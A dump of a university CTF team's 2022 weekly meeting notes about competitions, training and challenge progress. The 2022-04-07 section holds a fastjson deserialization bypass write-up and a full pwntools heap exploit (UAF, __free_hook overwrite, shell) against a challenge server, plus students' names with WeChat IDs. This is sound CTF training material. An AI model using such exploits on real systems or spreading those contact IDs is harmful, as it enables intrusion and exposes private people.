"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-10/#research-related","title":"Research Related","text":"Do you remember the Chaff Bug?
https://wiki.compass.college/Paper/Misc/Chaff%20Bugs%20Deterring%20Attackers%20by%20Making%20Software%20Buggier/
In brief: the Chaff is an idea to create hundreds of fake buffer overflow points. The work of the attackers is increased by non-vulnerable bugs.
However, SCA (Source Code Analysis), concolic analysis, and Fuzzing can solve this problem.
The PWN challenges from CTF can also be solved by the concolic analysis. The famous angr
is often used to do the job.
https://angr.io/
We also know the CGC (Cyber Grand Challenge) is major in automated software analysis.
A survey of the Cyber Reasoning System: https://ieeexplore.ieee.org/abstract/document/8411838
I'm going to summarize the research on CRS and SCA.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-10/#wiki-contact","title":"Wiki Contact","text":"I've added the contact email address to Wiki.
As well as the weekly meeting address.
https://wiki.compass.college/
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-10/#learn-from-su-team","title":"Learn from SU Team","text":"It's all from an article forwarded by Frankss.
https://team-su.github.io/
SU team has achieved the top rank in SUSCTF 2022. SU team is a united team of members in the universities (we are a university team with all of us from SUSTech).
SU team is established in 2016, and be famous in 2022.
The cooperation experience from SU:
I've pm each member to confirm the major orientation.
The communication with the SU team is in the progress. Hopefully, we would talk with them in the future.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-10/#competition","title":"Competition","text":"The 1337UP live CTF (Jeopardy, dynamic score from 500 to 50)
The team size is 4.
https://ctf.intigriti.io/
\u661f\u671f\u4e94, 11 \u4e09\u6708 2022, 23:00 CST \u2014 \u661f\u671f\u516d, 12 \u4e09\u6708 2022, 23:00 CST
The top 3 teams would get cash awards.
The top 10 teams would receive some 1337UP swag.
The top 100 teams would receive a souvenir certificate, and an increased chance to be invited to the private program of the Intigriti.
This is the first 1337UP CTF.
The organizer: Intigriti (Europe's #1 ethical hacking and bug bounty platform)
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-10/#drunk-too-much-coffee","title":"Drunk too much coffee","text":"Take care of yourself.
Doing some exercise can be helpful.
I hope COVID-19 will end soon.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-10/#note","title":"Note","text":"2022\u6570\u5b57\u4e2d\u56fd\u521b\u65b0\u5927\u8d5b\u864e\u7b26\u7f51\u7edc\u5b89\u5168\u8d5b\u9053
\u65f6\u95f4\uff1a2022-03-19 09:00 ~ 2022-03-20 17:00
https://datacon.qianxin.com/competitions/22/introduction
\u664b\u7ea7\u8d44\u683c\uff1a\u521d\u8d5b\u6210\u7ee9\u6392\u540d\u524d35\u7684\u961f\u4f0d\uff08\u7ebf\u4e0a\u521d\u8d5b\u6210\u7ee9\u6392\u540d\u524d20\u7684\u9ad8\u6821\u6218\u961f+\u7ebf\u4e0a\u521d\u8d5b\u6210\u7ee9\u6392\u540d\u524d15\u7684\u884c\u4e1a\u6218\u961f\uff09\u8fdb\u5165\u51b3\u8d5b\uff0c\u540c\u4e00\u96c6\u56e2\u5355\u4f4d\u3001\u9ad8\u6821\u6700\u591a\u53ea\u80fd\u5165\u56f42\u652f\u6218\u961f\uff0c\u6bcf\u961f\u4e0d\u8d85\u8fc74\u4eba\uff0c\u53ca\u4e00\u540d\u9886\u961f\uff0c\u51b3\u8d5b\u524d\u961f\u5458\u53ef\u66f4\u6362\uff0c\u4f46\u8981\u6c42\u53c2\u8d5b\u9009\u624b\u9700\u662f\u521d\u8d5b\u62a5\u540d\u4eba\u5458\uff0c\u5e76\u4e14\u5fc5\u987b\u6765\u81ea\u540c\u4e00\u96c6\u56e2\u5355\u4f4d\u6216\u9ad8\u6821\uff0c\u8fdb\u5165\u603b\u51b3\u8d5b\u5355\u4f4d/\u884c\u4e1a\u6218\u961f\u9700\u63d0\u4f9b\u534a\u5e74\u4ee5\u4e0a\u7684\u672c\u5355\u4f4d\u793e\u4fdd\u8bc1\u660e\uff0c\u5404\u9ad8\u6821\u6218\u961f\u9700\u63d0\u4f9b\u52a0\u76d6\u6240\u5728\u540c\u4e00\u9ad8\u6821\u516c\u7ae0\u7684\u5728\u8bfb\u8bc1\u660e\uff0c\u5982\u53d1\u73b0\u4efb\u4f55\u4f5c\u5f0a\u3001\u4ee3\u6253\u884c\u4e3a\uff0c\u5c06\u76f4\u63a5\u53d6\u6d88\u6bd4\u8d5b\u8d44\u683c\u5e76\u8fdb\u884c\u516c\u544a\u3002
Misc: \u5468\u7ff0\u7136\u3001\u9648\u6893\u6db5\u3001\u5deb\u6653\u3001\u6731\u5609\u6960
Web: \u91d1\u8087\u8f69\u3001\u4e25\u6587\u8c26
Re: \u90ac\u4e00\u5e06\u3001\u6731\u5f18
PWN: \u674e\u7167\u3001\u90ac\u4e00\u5e06
Crypto: \u6731\u5609\u6960\u3001\u5468\u7ff0\u7136\u3001\u4e25\u6587\u8c26
\u9898\u76ee\u6574\u7406 & \u540c\u6b65\uff1a\u90ac\u4e00\u5e06\u3001\u674e\u7167
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-17/#ctfd-dynamic-container","title":"CTFd Dynamic Container","text":"Current solution: https://github.com/frankli0324/ctfd-whale/
The dependency frp
is vulnerable to SSRF in the history (and very likely now), and have been bypassed several times.
The local deployment is successful and ready to use, but we may have a better alternative.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-17/#competition-management","title":"Competition Management","text":"For each competition, we would have an administrator. The admin has the following tasks:
The competitions would use Notion to update.
The competitions would use Discord to chat.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-17/#note","title":"Note","text":"2022\u6570\u5b57\u4e2d\u56fd\u521b\u65b0\u5927\u8d5b\u864e\u7b26\u7f51\u7edc\u5b89\u5168\u8d5b\u9053
\u65f6\u95f4\uff1a2022-03-19 09:00 ~ 2022-03-20 17:00
https://datacon.qianxin.com/competitions/22/introduction
\u664b\u7ea7\u8d44\u683c\uff1a\u521d\u8d5b\u6210\u7ee9\u6392\u540d\u524d35\u7684\u961f\u4f0d\uff08\u7ebf\u4e0a\u521d\u8d5b\u6210\u7ee9\u6392\u540d\u524d20\u7684\u9ad8\u6821\u6218\u961f+\u7ebf\u4e0a\u521d\u8d5b\u6210\u7ee9\u6392\u540d\u524d15\u7684\u884c\u4e1a\u6218\u961f\uff09\u8fdb\u5165\u51b3\u8d5b\uff0c\u540c\u4e00\u96c6\u56e2\u5355\u4f4d\u3001\u9ad8\u6821\u6700\u591a\u53ea\u80fd\u5165\u56f42\u652f\u6218\u961f\uff0c\u6bcf\u961f\u4e0d\u8d85\u8fc74\u4eba\uff0c\u53ca\u4e00\u540d\u9886\u961f\uff0c\u51b3\u8d5b\u524d\u961f\u5458\u53ef\u66f4\u6362\uff0c\u4f46\u8981\u6c42\u53c2\u8d5b\u9009\u624b\u9700\u662f\u521d\u8d5b\u62a5\u540d\u4eba\u5458\uff0c\u5e76\u4e14\u5fc5\u987b\u6765\u81ea\u540c\u4e00\u96c6\u56e2\u5355\u4f4d\u6216\u9ad8\u6821\uff0c\u8fdb\u5165\u603b\u51b3\u8d5b\u5355\u4f4d/\u884c\u4e1a\u6218\u961f\u9700\u63d0\u4f9b\u534a\u5e74\u4ee5\u4e0a\u7684\u672c\u5355\u4f4d\u793e\u4fdd\u8bc1\u660e\uff0c\u5404\u9ad8\u6821\u6218\u961f\u9700\u63d0\u4f9b\u52a0\u76d6\u6240\u5728\u540c\u4e00\u9ad8\u6821\u516c\u7ae0\u7684\u5728\u8bfb\u8bc1\u660e\uff0c\u5982\u53d1\u73b0\u4efb\u4f55\u4f5c\u5f0a\u3001\u4ee3\u6253\u884c\u4e3a\uff0c\u5c06\u76f4\u63a5\u53d6\u6d88\u6bd4\u8d5b\u8d44\u683c\u5e76\u8fdb\u884c\u516c\u544a\u3002
Misc: \u5468\u7ff0\u7136\u3001\u9648\u6893\u6db5\u3001\u5deb\u6653\u3001\u6731\u5609\u6960
Web: \u91d1\u8087\u8f69\u3001\u4e25\u6587\u8c26
Re: \u90ac\u4e00\u5e06\u3001\u6731\u5f18
PWN: \u674e\u7167\u3001\u90ac\u4e00\u5e06
Crypto: \u6731\u5609\u6960\u3001\u5468\u7ff0\u7136\u3001\u4e25\u6587\u8c26
\u9898\u76ee\u6574\u7406 & \u540c\u6b65\uff1a\u90ac\u4e00\u5e06\u3001\u674e\u7167
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#t3n4ci0us-ctf-2022","title":"T3N4CI0US CTF 2022","text":"The competition is on processing. We have several challenges to solve.
The current rank is #4, 2 challenge (and 20 points for hints) left to be rank 1.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#webrobots","title":"Web/Robots","text":"Got 2 sub pages: /robots.txt and /hint.html
As the hint goes, we should find /fiag.html, but failed.
Hint: Something's wrong with the word 'fiag'. \\<head line>Password Decryption
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#webyessyess","title":"Web/YessYess","text":"Python SSTI injection with filters. The underline, dot, and parenthesis are filtered out.
Could use unicode conversion.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#miscpws","title":"Misc/pws","text":"Don't know what's the meaning of the file.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#miscangry","title":"Misc/angry","text":"Got a Base36-like string, don't know what to do next.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#crypto1337-wallet","title":"Crypto/1337 Wallet","text":"scrypt-hash decryption without password.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#forensicsgrizzly","title":"Forensics/Grizzly","text":"A zip file inside the given picture. Doesn't have the password.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#forensicsdobby","title":"Forensics/Dobby","text":"The text can be decrypted with string Dobby is not free in flag format, but not the flag.
@Frankss: the picture has some hidden mosaic below after adjusting the height.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#misc","title":"Misc/()","text":"Don't know the meaning of the challenge.
Hint: understand the meaning of alphabet
.
Don't know what to find.
The store is John & the Juice New York.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#miscwhere","title":"Misc/Where","text":"Not interested in Dolpari's information.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#miscflag","title":"Misc/flag","text":"The description is to find flag in the Discord server (not the flag in channel description).
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#misc2","title":"Misc/()2","text":"Similar to the (), don't know what to do.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#line-ctf","title":"Line CTF","text":"The LINE CTF is going to be an exercise competition.
https://score.linectf.me/
Schedule: March 26, 2022, 08:00 AM ~ March 27th, 08:00 AM (UTC+8)
Style: Jeopardy-style (Team Cometition @ Online)
Organizer: Security team at LINE
Discord: https://discord.gg/4aXUwrqD3Z
If you want to participate, please contact me.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-24/#note","title":"Note","text":"\u6bd4\u8d5b\u540d\u79f0\uff1a\u611a\u4eba\u8282\u6b22\u4e50\u8d5b
\u9898\u76ee\u96be\u5ea6\uff1a\u7b80\u5355\uff0c\u6b22\u4e50\uff0c\u6076\u641e
\u6bd4\u8d5b\u5956\u52b1\uff1a\u603b\u5206\u524d10\uff0c\u5b9a\u5236\u9f20\u6807\u57ab/\u5973\u88c5\uff0c\u4e8c\u9009\u4e00
\u6bd4\u8d5b\u65f6\u95f4\uff1a2022\u5e744\u67081\u65e5(\u5468\u4e94) 18\u65f6\u6574
\u6bd4\u8d5b\u65f6\u957f\uff1a24\u5c0f\u65f6
\u6bd4\u8d5b\u5730\u5740\uff1ahttps://ctf.show/challenges
\u6295\u7a3f\u90ae\u7bb1\uff1actfshow@163.com
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-31/#midnight-sun-qual","title":"Midnight Sun Qual","text":"https://midnightsunctf.com/
\u661f\u671f\u516d, 02 \u56db\u6708 2022, 18:00 CST \u2014 \u661f\u671f\u65e5, 03 \u56db\u6708 2022, 18:00 CST
8 teams from academic & 8 teams from industry.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-31/#writeups-update","title":"Writeups update","text":"\u864e\u7b26CTF WP: https://wiki.compass.college/Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/
\u62db\u65b0\u8d5b WP: https://wiki.compass.college/Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/
Pull request steps:
wiki/mkdocs.yml
to update the index.It's pity that after so many tries, I can't make the CTFd-whale work properly.
Have sent an email to BUUOJ and CTFshow to talk about the platform construction.
Starting my Docker-API project to make a cloud-supported SaaS platform.
Now I've designed a docker-compose to run environments. \u62db\u65b0 challenges are working fine, other challenges are in progress.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-31/#note","title":"Note","text":"5\u670815\u65e5\u524d\uff0c\u5404\u9ad8\u6821\u9074\u9009\u53c2\u52a0\u5168\u7701\u6bd4\u8d5b\u961f\u4f0d\uff0c\u4e00\u6240\u5b66\u6821\u53ef\u6709\u591a\u7ec4\u961f\u4f0d\u53c2\u8d5b\uff1b
5\u670821\u65e5\u81f322\u65e5\uff0c\u7ec4\u7ec7\u7701\u7ea7\u521d\u8d5b\u8bc4\u5ba1\uff0c\u521d\u8d5b\u5185\u5bb9\u4e3a30%\u77e5\u8bc6\u8d5b+70%\u653b\u9632\u593a\u65d7\u8d5b\uff0c\u6309\u7167\u6210\u7ee9\u9ad8\u4f4e\u53d6\u524d30\u540d\u961f\u4f0d\u8fdb\u5165\u7701\u7ea7\u603b\u51b3\u8d5b\uff0c\u6bcf\u4e2a\u9ad8\u6821\u664b\u7ea7\u961f\u4f0d\u4e0d\u8d85\u8fc72\u4e2a\uff1b
\u62a5\u540d\u65f6\u95f4\uff1a\u622a\u6b62\u81f32022\u5e745\u670815\u65e5\uff08\u661f\u671f\u65e5\uff0917:00\u3002
\u62a5\u540d\u65b9\u5f0f\uff1a\u53c2\u8d5b\u5b66\u6821\u586b\u5199\u76f8\u5173\u62a5\u540d\u8868\uff0c\u5c06\u7701\u7ea7\u521d\u8d5b\u62a5\u540d\u8868\uff08\u9644\u4ef63\uff09\u53d1\u81f3\u6307\u5b9a\u90ae\u7bb1tw@hzu.edu.cn\uff1b\u540c\u65f6\uff0c\u52a0\u5165\u8d5b\u4e8b\u54a8\u8be2QQ\u7fa4825405920\u3002
The sign-up would be collected and submitted once.
According to the previous event, there are some problems:
(From https://tari.moe/2021/05/23/2021gd-university-ctf/)
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-04-07/#old","title":"old","text":"\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff0c\u4e0d\u8fc7flag.txt
\u8bfb\u4e0d\u4e86\uff0c\u4f46\u53ef\u4ee5\u770b hint.txt
\uff0csmali
\u5b57\u8282\u7801\uff0c\u63d0\u793a\u4e86 fastjson 1.2.24
\u5148\u8bfb\u53d6\u672c\u8fdb\u7a0b\u76f8\u5173\u76ee\u5f55
\u5728 /usr/local/run/start.jar
\u83b7\u53d6\u6e90\u7801\uff0cIDEA
\u6253\u5f00\u5206\u6790
\u539f\u6765\u8fc7\u6ee4\u4e86 flag
\uff0c\u602a\u4e0d\u5f97\u8bfb\u53d6\u4e0d\u4e86
\u5f80\u53cd\u5e8f\u5217\u5316\u65b9\u5411\uff0c\u4e0d\u8fc7\u6709waf
\u7136\u540e\u8fd8\u6709\u9650\u5236
\u8fd9\u91cc\u5361\u4e86\u633a\u4e45\uff0c\u8bd5\u4e86\u7f51\u4e0a\u5f88\u591aEXP\uff0c\u90fd\u4e0d\u884c
\u7136\u540e\u7a81\u7136\u60f3\u8d77fastjson\u53cd\u5e8f\u5217\u5316\u7684\u539f\u7406
\u4e00\u822c\u662f\u9700\u8981\u522b\u7684\u5e93\u7684\u914d\u5408\uff0c\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u76f8\u5173\u65b9\u6cd5\u7684
\u4e8e\u662f\u6211\u4e00\u4e2a\u4e2a\u4f9d\u8d56\u627e
\u641c\u4e86\u4e0b spring \uff0c\u6ca1\u6709\u76f8\u5173\u6f0f\u6d1e\uff0c\u4f46\u662f\u5728 tomcat dbcp
\u91cc\u521a\u597d\u53d1\u73b0\u4e86\u53ef\u4ee5\u5229\u7528\uff0c\u800c\u4e14\u4e0d\u7528\u5229\u7528 rmi ldap
\u4e4b\u7c7b\u7684
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
\u7136\u540e\u521a\u597d\u7528\u5230 BCEL
\uff0cHFCTF2021\u4e5f\u521a\u597d\u7528\u5230\uff0c \u521a\u597d\u590d\u73b0\u8fc7\u4e86\uff0c\u6240\u4ee5\u975e\u5e38\u719f\u7ec3 \uff08
https://github.com/f1tz/BCELCodeman
\u7f16\u5199 java poc
\uff0c\u8f6c\u6362\u4e3a class
\u7136\u540e\u751f\u6210 BCEL
\u7801
\u8fd9\u6837\u53ef\u4ee5\u7ed5\u8fc7waf\u7684\u9ed1\u540d\u5355
\uff0c\u5373\u7ed5\u8fc7\u4e86\u7b2c1\u4e2achallenge
\u8fd8\u67092\u4e2a challenge
\uff0c\u8fd9\u4e2a\u7b80\u5355\uff0c\u5c31\u957f\u5ea6\u5927\u4e8e2000
\uff0c\u7136\u540e\u9700\u8981\u5305\u542b flag
\u5173\u952e\u5b57
\u8fd9\u91cc\u76f4\u63a5\u628a /flag.txt
\u6539\u4e00\u4e0b\u540d\u8bfb\u53d6\u5373\u53ef
\u9898\u76ee\u662f\u57fa\u4e8e glibc 2.31 \u7684\u83dc\u5355\u5806\u9898\u3002
\u6f0f\u6d1e\u51fa\u73b0\u5728 free \u4e4b\u540e\u6ca1\u6709\u7f6e\u96f6\u6307\u9488\u5bfc\u81f4\u7684 UAF \uff1a
\u7a0b\u5e8f\u6ca1\u6709\u8f93\u51fa\u51fd\u6570\uff0c\u5012\u662f\u6709\u4e00\u4e2a\u63d0\u793a\u7684\u51fd\u6570 gift \u51fd\u6570\uff0c\u8f93\u51fa\u5806\u5730\u5740\u6700\u4f4e\u4e24\u4e2a\u5b57\u8282\uff0c\u6ca1\u7528\u660e\u767d\uff0c\u5230\u6700\u540e\u4e5f\u4e0d\u5173\u4ed6\u7684\u4e8b\u60c5\u3002
\u601d\u8def\uff1a
\u9047\u5230\u7684\u95ee\u9898\u5c31\u662f\u76f4\u63a5\u4e4b\u524d libc 2.23 \u7684 payload \u53bb\u6253\u7684\u8bdd\u6ca1\u6709\u56de\u663e\u51fa libc \u5730\u5740\uff0c\u539f\u6765\u7684 payload \uff1a
p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)\n1\n
flag \u8fd9\u4e48\u8bbe\u7f6e\u7ed5\u8fc7\u68c0\u67e5\u6ca1\u6709\u95ee\u9898\uff0c\u95ee\u9898\u662f\u5c06 write_base \u6700\u4f4e\u503c\u5b57\u8282\u4fee\u6539\u4e3a 0x88 \u4e86\uff0c\u800c libc 2.31 \u4e2d write_ptr \u6700\u4f4e\u4f4d\u662f 0x23
\u5bfc\u81f4\u8d77\u59cb\u5730\u5740\u6bd4\u7ed3\u675f\u5730\u5740\u5927\uff0c\u800c\u6ca1\u6709\u4e1c\u897f\u8f93\u51fa\u3002\u8fd8\u6709\u5c31\u662f\u8c03\u8bd5\u65ad\u70b9\u4f4d\u7f6e\u8bbe\u7f6e\u95ee\u9898 \uff0c\u5bfc\u81f4\u4e00\u76f4\u4ee5\u4e3a\u662f\u4fee\u6539\u4e0d\u6210\u529f\u7684\u539f\u56e0\u3002\u65ad\u70b9\u4e00\u5f00\u59cb\u662f\u6253\u5728\u4fee\u6539\u540e\u4e0b\u4e00\u6b21\u8fdb\u5165\u4e3b\u83dc\u5355\u7684\u65f6\u5019\uff0c\u7531\u4e8e\u6bcf\u6b21\u8f93\u51fa\u90fd\u4f1a\u5237\u65b0 stdout \u7ed3\u6784\u4f53\u90e8\u5206\u6307\u9488\uff0c\u5bfc\u81f4\u4e00\u76f4\u4ee5\u4e3a\u6ca1\u4fee\u6539\u6210\u529f\u3002\u6b63\u786e\u5e94\u8be5\u5728 read \u6253\u65ad\u70b9\uff0c\u7136\u540e n \u8df3\u4e00\u6b65\u67e5\u770b\u662f\u5426\u6210\u529f\u4fee\u6539\u7ed3\u6784\u4f53\u3002
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-04-07/#exp","title":"EXP","text":"from pwn import *\n# context.log_level = 'debug'\ncontext.terminal = ['tmux','sp','-h']\n\n\n\ndef add(content):\n p.sendlineafter(\">>> \",str(1))\n p.sendafter(\"Input Content:\\n\",content)\ndef gift():\n p.sendlineafter(\">>> \",str(666))\ndef delete(id):\n p.sendlineafter(\">>> \",str(3))\n p.sendlineafter(\"Input ID:\\n\",str(id))\ndef edit(id,content):\n p.sendlineafter(\">>> \",str(2))\n p.sendlineafter(\"Input ID:\\n\",str(id))\n p.sendafter(\"Input Content:\\n\",content)\n\ndef exp():\n add('a'*58)#0\n add('a'*58)#1\n add('a'*58)#2\n for _ in range(8):\n delete(0)\n edit(0,'b'*0x58)\n edit(0,'\\x00'*0x10)\n p.sendlineafter(\">>> \",'1'*0x450)\n edit(0,'\\xa0\\x66')\n\n stdout_offset = libc.symbols['_IO_2_1_stdout_']\n log.info(\"stdout_offset:\"+hex(stdout_offset))\n\n add('c'*0x8)#3\n # gdb.attach(p,\"b *$rebase(0x1392)\")\n # raw_input()\n add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4\n libc_addr = u64(p.recvuntil('\\x7f',timeout=1)[-6:].ljust(8,'\\x00'))-(0x7fbe678e5980-0x7fbe676fa000)#- (0x7ffff7fac980-0x7ffff7dc1000)\n log.info(\"libc_addr:\"+hex(libc_addr))\n\n free_hook = libc_addr+libc.sym['__free_hook']\n system_addr = libc_addr+libc.sym['system']\n binsh_str = libc_addr+libc.search('/bin/sh').next()\n\n delete(1)\n edit(1,p64(free_hook)*2)\n add('/bin/sh\\x00')\n add(p64(system_addr))\n delete(1)\n\n p.interactive()\n\n\n# p = process(\"./BabyNote\",env={'LD_PRELOAD':'./libc-2.31.so'})\n# libc = ELF(\"./libc-2.31.so\")\n# exp()\n\nif __name__ == '__main__':\n # p = process(\"./BabyNote\",env={'LD_PRELOAD':'./libc-2.31.so'})\n # libc = ELF(\"./libc-2.31.so\")\n # p = process(\"./BabyNote\")\n # libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")\n p = remote(\"8.134.14.168\", 10000)\n libc = ELF(\"./libc-2.31.so\")\n while True:\n try:\n exp()\n exit(0)\n except:\n p.close()\n p = remote(\"8.134.14.168\", 10000)\n # p = process(\"./BabyNote\",env={'LD_PRELOAD':'./libc-2.31.so'})\n123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172\n
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-04-07/#offline-activity-schedule","title":"Offline Activity Schedule","text":"We have returned to the campus yesterday.
Looking forward to our offline activity.
Now we have 2 teams ready, 1 member to set up the third team.
\u6234\u9a8f\u98de \u4e34\u5e8a\u533b\u5b66 \u5927\u4e8c \u7537 \u961f\u957f wxid_jxwdutfinu3b21 \u4ee3\u9b4f\u7ade \u7269\u7406\u5b66 \u5927\u4e8c \u7537 \u6210\u5458 assassin_dou \u5218\u5b50\u7fbd \u901a\u8bc6\u901a\u4fee \u5927\u4e8c \u7537 \u6210\u5458 L13768311688 \u9648\u65ed\u9633 \u901a\u8bc6\u901a\u4fee \u5927\u4e8c \u7537 \u6210\u5458 xy591557928 \u90ac\u4e00\u5e06 \u901a\u8bc6\u901a\u4fee \u5927\u4e8c \u7537 \u961f\u957f GhostFrank \u4e25\u6587\u8c26 \u901a\u8bc6\u901a\u4fee \u5927\u4e00 \u7537 \u6210\u5458 wxid_pcjl48tfa35n22 \u6731\u5609\u6960 \u8ba1\u7b97\u673a\u79d1\u5b66\u4e0e\u5de5\u7a0b \u5927\u4e8c \u7537 \u6210\u5458 GGAutomaton \u6731\u5f18 \u8ba1\u7b97\u673a\u79d1\u5b66\u4e0e\u5de5\u7a0b \u5927\u4e8c \u7537 \u6210\u5458 Trust_04zhBesides, we are going to invite CRA's member to join the competition.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-04-14/#note","title":"Note","text":"The online talk session would be held on April 30th.
Organizer: COMPASS CTF Team
Co-operator: Computer Research Association
Invitation: all the students from SUSTech
After the talk, we would arrange 2 pieces of training (introduction).
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-04-21/#ctf-toolkit","title":"CTF toolkit","text":"https://wiki.compass.college/Tool/Cryptography/SageMathCell/
The current tools are collected from every CTF challenge.
Some challenges are using some specific tool, that isn't on the list.
I've found the difficulty to configure every machine to work for CTF events. So, let's make a toolkit for fast establishing the environment.
\u661f\u671f\u516d, 23 \u56db\u6708 2022, 14:30 CST \u2014 \u661f\u671f\u516d, 23 \u56db\u6708 2022, 20:30 CST
https://ctftime.org/event/1635
CUCTF 1.0 is First Edition of CUCTF from CUCYSEC Club. This CTF will be in collaboration of WIZCON '22 which aims to introduce beginners to Capture the Flags.
Link: http://ctf.teamsanitizer.me:2052/
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-04-21/#note","title":"Note","text":"The online talk session would be held on April 30th.
Organizer: COMPASS CTF Team
Co-operator: Computer Research Association
Invitation: all the students from SUSTech
After the talk, we would arrange 2 pieces of training (introduction).
Under the thought of this aspect of the difficult, I want to introduce those things you won't know when first solved some challenges. Each chapter of the book would start with some practice knowledge, and end with some difficult advanced principles. The whole book would be divided into two parts: basics knowledge that you can learn from simply reading and learning some limited necessary knowledge, and the hard part that you need to read more about the principle, source code, and the details of the techniques.
The volume I is under writing.
Volume I:
Chapter 1: introduction to the CTF
Introduction guidance to the competitions, challenges, and the format of the different CTF events. I will talk about the different styles of the CTF, different areas of the CTF, and some of the key attitudes of the CTF. This chapter won't have any technical details about the CTF, but you will learn about the philosophy of the game and the different goals of the events.
Chapter 2: information gathering
The information quantity is so large that most of the time, you may struggle with searching everywhere and get nothing. From searching for the correct knowledge to solve your current faced problems to the sensitive information gathering for the specific organizations, we want to find useful information out of the ocean of garbage information. Information gathering is the basic skill you should master.
Chapter 3: OSINT and sensitive information exposure
...
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-04-28/#offline-activities","title":"Offline Activities","text":"Talked with Frankss.
The current campus team still needs more members.
For every student, we might have 1 - 2 years working in the CTF competitions, and we need to award prizes.
The past half year is highly affected by the COVID-19, and we are learning online (mostly, by ourselves). In the last 5 weeks of this semester, I want to form some offline activities as the last year.
The offline training would have longer time (longer than the past 4 hour training), and we would have weekly challenges (highly encouraged to finish).
Besides, the team would have 2 types of members: active and retired. We want to have a clear list of students who still active to participate competitions.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-04-28/#note","title":"Note","text":"Before the training, members should finish the challenges.
Before the afternoon, we would have talk and lectures.
After the afternoon, we sync the challenges together, and do some competition challenges.
If we have competitions, the training time may be adjusted.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-05/#the-sign-up-form","title":"The sign up form","text":"Please fill the form before May, 9th.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-13/","title":"CTF Week Meeting 2022-05-13","text":"The training material would be posted on the website.
In the past training, we have discussed some basic ideas about the CTF challenge. Now, our new participants have learned about easy knowledge. All the discussions are simple.
We have several teams signed up for the upcoming competition.
The 2nd Guangdong Province University CTF Event would end sign up on May, 15th. From new participants, the new teams are:
Along with the previous teams, we have 9 teams in total. The 9 teams contain 2 advanced teams (from COMPASS CTF) and 7 fan teams.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-13/#the-following-training","title":"The following training","text":"The training this week would be held tomorrow (May, 14th) in the 551 Room, Southern Tower of the Engineering Department. Now, I have arranged some weekly training challenges, but still we need some materials.
The lecture part includes Web & PWN & RE part analysis and the difficult challenges. According to my area, I don't have enough experience in Misc and Forensics aspects.
Hoping you can help with the upcoming training.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-05-13/#events","title":"Events","text":"DEF CON 30 is upcoming. The qualification round of DEF CON would be held on May, 28th - 29th.
https://defcon.org/index.html
\u7b2c\u5341\u4e94\u5c4a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b-\u521b\u65b0\u5b9e\u8df5\u80fd\u529b\u8d5b
https://maka.im/pcviewer/602244610/6822NHAOW602244610
http://www.ciscn.cn/competition/securityCompetition?compet_id=36
Sign up before May, 20th. The online qualification round on May 28th - 29th.
\u7b2c\u5341\u4e94\u5c4a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b-\u4f5c\u54c1\u8d5b
http://www.ciscn.cn/competition/securityCompetition?compet_id=35
CTFshow \u5355\u8eab\u676f
https://ctf.show/challenges
2022-05-20 18:00 ~ 2022-05-22 18:00
